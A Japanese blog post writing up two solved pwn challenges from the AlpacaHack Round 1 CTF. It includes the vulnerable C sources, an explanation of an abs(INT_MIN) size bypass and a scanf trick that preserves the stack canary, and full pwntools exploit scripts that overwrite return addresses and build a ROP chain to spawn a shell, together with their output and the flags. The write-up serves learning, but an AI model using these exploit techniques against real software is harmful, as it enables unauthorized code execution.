プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

AlpacaHack Round 1 (Pwn) write-up

AlpacaHack Round 1 (Pwn)へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/08/18(日) 12:00 +09:00 - 08/18(日) 18:00 +09:00の6時間開催でした。ほかルールはコンテストページから引用します:

AlpacaHack Round 1 (Pwn) へようこそ!
AlpacaHack は個人戦のCTFを継続して開催する新しいプラットフォームです。
AlpacaHack Round 1 は AlpacaHack で行われる最初の CTF で、Pwn カテゴリから 4 問が出題されます。 問題は warmup、easy、medium および hard 等の難易度がつけられており、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。
これらの問題は ptr-yudai 氏によって作成されました!

参加方法
1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。
2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。

注意事項
- AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。
- 問題の配点は解いた人数に応じて変動します。
- 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。
  - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。
  - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。
- 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。

結果

正の得点を得ている57人中、308点で17位でした:

順位と得点等

チェック印: 解けた問題

また、Certificate箇所から順位の証明書も表示できます:

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4780]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.13.0
$ g++ --version
g++ (Ubuntu 13.2.0-23ubuntu4) 13.2.0
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2024.02.14 build: 2b9beef
$ pwninit --version
pwninit 3.3.1
$ ROPgadget --version
Version:        ROPgadget v7.3
Author:         Jonathan Salwan
Author page:    https://twitter.com/JonathanSalwan
Project page:   http://shell-storm.org/project/ROPgadget/
$ docker --version
Docker version 27.1.1, build 6312585
$

解けた問題

なおAlpacaHackでは、コンテスト終了後でもChallenge Archiveから過去問題へフラグを提出できます。そのため本記事でフラグそのものを書いていいものか迷っていましたが、運営者の方からフラグを公開していいとのお返事を頂いたため、記述します。

[Pwn, Warmup] echo (56 solves, 129 points)

A service for reachability check.

配布ファイルとして、問題本体のechoと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
echo:        ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8ba77f67086a988184093fcca44fab09c7c87981, for GNU/Linux 3.2.0, not stripped
main.c:      C source, ASCII text
$ pwn checksec echo
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/echo/echo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$

main.cは次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

コードを読むと次のことが分かります:

  • get_size関数にif ((size = abs(size)) > BUF_SIZE)という分岐があり、一見すると[0, BUF_SIZE]の範囲の値のみを指定できそうです。
    • しかし符号付き整数に2の補数を扱う処理系(昨今ではほとんどの処理系がこれのはず)では、INT_MINの絶対値を表現できません。
    • コンテスト中では「愚直実装なら abs(INT_MIN) == INT_IMN になるでしょう」と仮定して突撃していました。
    • 結果としてget_size()関数の戻り値をINT_MIN、すなわち-0x80000000にできます。
  • get_data()関数のsize引数がunsigned型であるため、INT_MINを指定することで0x80000000バイトまで入力できるようになり、echo関数のbufローカル変数に対してスタックバッファーオーバーフローを引き起こせます。
    • 別に0x80000000バイト全部入力しなくても、改行文字を送信すればget_data関数がそこで書き込みを終えてくれます。
  • 今回の問題バイナリではStack: No canary foundであるため、スタックバッファーオーバーフローだけで戻りアドレスを改ざんできます。また、PIE: No PIE (0x400000)であるため、win関数のアドレスは固定です。
  • 全体として、echo関数の戻りアドレスをwin関数へ改ざんしてやることで、フラグを入手できます。
  • IDAでecho関数が使うローカル変数のレイアウトを調べると、次の構造でした。つまりbufの先頭アドレスから268 + 4 + 8バイト進んだアドレスが、echo関数の戻りアドレスの格納場所です。
-0000000000000110 buf             db 268 dup(?)
-0000000000000004 size            dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

分かったことを利用してソルバーを書きました:

#!/usr/bin/env python3

import pwn

pwn.context.binary = "./echo"
# pwn.context.log_level = "DEBUG"


def solve(io: pwn.tube):
    addr_win = 0x4011F6
    offset = 268 + 4 + 8
    payload = b"A" * offset + pwn.pack(addr_win)
    io.sendlineafter(b"Size: ", str(-(1 << 31)).encode())
    io.sendlineafter(b"Data: ", payload)
    print(io.recvall())


with pwn.remote("198.51.100.1", 17360) as io:
    solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/echo/echo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to 198.51.100.1 on port 17360: Done
[+] Receiving all data: Done (351B)
[*] Closed connection to 198.51.100.1 port 17360
b'Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x11@\nAlpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}\n'

$

フラグを入手できました: Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}

[Pwn, Easy] hexecho (27 solves, 179 points)

Stack canary makes me feel more secure.

配布ファイルとして、問題本体のechoと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
hexecho:     ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a7711d078295336be30a0cc68fa8889ce42d89d3, for GNU/Linux 3.2.0, not stripped
libc.so.6:   ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e, for GNU/Linux 3.2.0, stripped
main.c:      C source, ASCII text
$ pwn checksec hexecho
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/hexecho'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.
$

main.cは次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

問題名の通り、Input dataShow dataはHex表記になっています。また問題説明の通り、Stack Canaryが有効化されています。一方で、get_size関数では簡単に任意サイズを指定できるようになっています。なお、Dockerfile/flag.txtへフラグを書き込む内容が含まれています。

色々試行錯誤していると、Sizeに大きな値を指定して、かつget_hex関数でx等の非16進数文字列を入力することで、スタック内容を漏洩できることが分かりました。スタックに含まれるmain関数の戻りアドレスから、libcのベースアドレスを計算できそうです。一方でスタック内容を漏洩してそのまま終了する状況では特段役に立ちません。

scanf("%02hhx", buf + i);x等を入力すると、その文字は消費されずバッファに残るため、その後すべてのscanf関数呼び出しが失敗してしまいます。もしも「部分的に文字を消費しつつ、かつscanf関数呼び出しが失敗する」ような入力が存在すれば、Stack Canaryを維持したまま戻りアドレスを改ざんできそうです。次のコードを書いて実験しました:

#include <stdio.h>

int main() {
  unsigned char x;
  for(;;) {
    x = 0x90;
    scanf("%02hhx", &x);
    printf("%02hhx\n", x);
  }
  return 0;
}

実験すると、"+\n""-\n"を入力として与えることで、部分的にscanf("%02hhx", ...)関数呼び出しを失敗させられて、元の値を維持できることが分かりました!ちなみに"0x"を入力に与えると0になりました。それ有効なんですね。

そういうわけでこれまでに分かったことから、次の解法を取れそうなことが分かりました:

  • スタック中の値を漏洩させることで、libcのベースアドレスを取得する。
  • Stack Canaryの値はそのままに、hexecho関数の戻りアドレスをhexecho関数自身へ書き換えることで、もう一度スタックバッファーオーバーフローを引き起こせるようにする。
  • 2回目のhexecho関数のスタックバッファーオーバーフローで、戻りアドレスを改ざんしてROPでシェルを取得する。

残りは、pwninitコマンドを使ってhexechoバイナリが配布libcを使うように書き換えたり、ROPgadget --binary libc.so.6 | tee ropgadget_libc.txtコマンドを使ってROPガジェットを集めたり、デバッガーを使ってひたすらオフセットを調整したりして、シェルを取得するソルバーを書きました:

#!/usr/bin/env python3

import pwn

BIN_NAME = "./hexecho_patched"
elf = pwn.ELF(BIN_NAME)
libc = pwn.ELF("./libc.so.6")
pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"

offset_libc_start_call_main = libc.symbols["__libc_start_call_main"]
pwn.info(f"{offset_libc_start_call_main = :08x}")


def solve(io: pwn.tube):
    # 1回目:カナリアの値は維持したまま、戻りアドレスをhexecho自身への改ざんと、libc address leakをする
    # デバッガーを使いながらひたすら数値を調整していました……
    position_canary = 264 - 8
    position_ret_addr = position_canary + 16
    position_libc_start_call_mainP128 = position_ret_addr + 16
    size_1st_payload = position_libc_start_call_mainP128 + 16

    addr_hexecho = elf.symbols["hexecho"]
    addr_ret = 0x401321
    payload = bytearray()
    for _ in range(position_ret_addr):
        payload.extend(b"-\n")
    for _ in range(8):
        payload.extend(b"-\n")
    for b in pwn.pack(addr_ret):
        payload.extend(f"{b:02x}".encode())
    for b in pwn.pack(addr_hexecho):
        payload.extend(f"{b:02x}".encode())
    for _ in range(8):
        payload.extend(b"-\n")
    io.sendlineafter(b"Size: ", str(size_1st_payload).encode())
    io.sendlineafter(b"Data (hex): ", payload)
    io.recvuntil(b"Received: ")
    line = io.recvline()
    addr_libc_start_call_mainP128 = pwn.unpack(
        bytes(map(lambda x: int(x, 16), line.rstrip(b" \n").split(b" ")))[-8:]
    )
    pwn.info(f"{addr_libc_start_call_mainP128 = :08x}")
    libc.address = addr_libc_start_call_mainP128 - (offset_libc_start_call_main + 128)
    pwn.info(f"{libc.address = :08x}")
    assert (libc.address & 0xFFF) == 0

    rop_pop_rdi = libc.address + 0x2A3E5  # 0x000000000002a3e5 : pop rdi ; ret
    addr_bin_sh = next(libc.search(b"/bin/sh\x00"))
    addr_system = libc.symbols["system"]
    payload = bytearray()
    for _ in range(position_ret_addr):
        payload.extend(b"-\n")
    for _ in range(8):
        payload.extend(b"-\n")
    for b in pwn.pack(rop_pop_rdi):
        payload.extend(f"{b:02x}".encode())
    for b in pwn.pack(addr_bin_sh):
        payload.extend(f"{b:02x}".encode())
    for b in pwn.pack(addr_ret):
        payload.extend(f"{b:02x}".encode())  # スタックの16バイトアライメント調整用
    for b in pwn.pack(addr_system):
        payload.extend(f"{b:02x}".encode())
    io.sendlineafter(b"Size: ", str(size_1st_payload + 8).encode())
    io.sendlineafter(b"Data (hex): ", payload)
    io.recvline_contains(b"Received: ")
    io.interactive()


# with pwn.remote("localhost", 5000) as io:
#     solve(io)
with pwn.remote("198.51.100.1", 51786) as io:
    solve(io)
COMMAND = """
# hexdumpのcanaryチェック箇所
b *0x401310
continue
"""
# with pwn.gdb.debug(BIN_NAME, COMMAND) as io:
#     solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/hexecho_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] offset_libc_start_call_main = 00029d10
[+] Opening connection to 198.51.100.1 on port 51786: Done
[*] addr_libc_start_call_mainP128 = 7ff66006ad90
[*] libc.address = 7ff660041000
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ cat /flag.txt
Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d}
$
[*] Closed connection to 198.51.100.1 port 51786
$

フラグを入手できました: Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d}

感想

  • Easy問題でも歯ごたえたっぷりでした!
  • 残る2問は全然分かりませんでした。とはいえ開催期間が短いおかげで、とりあえず少しだけでも考えてみようという気分になれるのが良かったです。
  • コンテスト直前にpwntoolsを4.12.0から4.13.0へバージョンアップしたからか、pwn checksecコマンドの出力内容が増えていて驚きました。おそらく Add x86 CET status to checksec output by peace-maker · Pull Request #2293 · Gallopsled/pwntools によるものです。